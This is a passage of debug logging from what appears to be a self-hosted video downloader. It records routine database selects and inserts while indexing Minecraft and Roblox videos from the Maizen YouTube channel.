~U[2026-08-20 02:05:32Z], ~U[2026-08-20 02:05:32Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 19:05:32.062 [debug] QUERY OK source="sources" db=0.1ms idle=27.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:32.062 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:32.063 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 19:05:32.063 [debug] Current batch of media processed. Will check again in 1000ms 19:05:33.064 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 19:05:33.065 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:33.065 [debug] QUERY OK source="sources" db=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:33.067 [debug] QUERY OK source="media_items" db=1.4ms idle=1003.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 19:05:33.068 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "262a22dd-c93b-43f4-8dbf-19904641e235", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 02:05:33Z], ~U[2026-08-20 02:05:33Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 19:05:33.069 [debug] QUERY OK source="sources" db=0.2ms idle=32.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:33.069 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:33.069 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 19:05:33.070 [debug] Current batch of media processed. Will check again in 1000ms 19:05:34.070 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 19:05:34.071 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:34.071 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:34.073 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 19:05:34.075 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "81d61ad1-2f50-44dd-9b26-1af4a5b4ef59", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 02:05:34Z], ~U[2026-08-20 02:05:34Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 19:05:34.076 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=36.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:34.078 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:34.079 [debug] QUERY OK source="media_items" db=0.2ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 19:05:34.079 [debug] Current batch of media processed. Will check again in 1000ms 19:05:35.080 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 19:05:35.081 [debug] QUERY OK source="sources" db=0.2ms idle=1005.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:35.081 [debug] QUERY OK source="sources" db=0.2ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:35.083 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 19:05:35.085 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "cdb1d488-938c-416f-a31e-9aa4bfc6ee6f", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 02:05:35Z], ~U[2026-08-20 02:05:35Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 19:05:35.085 [debug] QUERY OK source="sources" db=0.2ms idle=45.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:35.086 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:35.086 [debug] QUERY OK source="media_items" db=0.1ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 19:05:35.086 [debug] Current batch of media processed. Will check again in 1000ms 19:05:36.087 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 19:05:36.088 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:36.088 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:36.090 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 19:05:36.091 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "463f7051-0e34-4fae-bc95-fe2ba5ee5089", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 02:05:36Z], ~U[2026-08-20 02:05:36Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 19:05:36.091 [debug] QUERY OK source="sources" db=0.1ms idle=48.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:36.091 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:36.092 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) 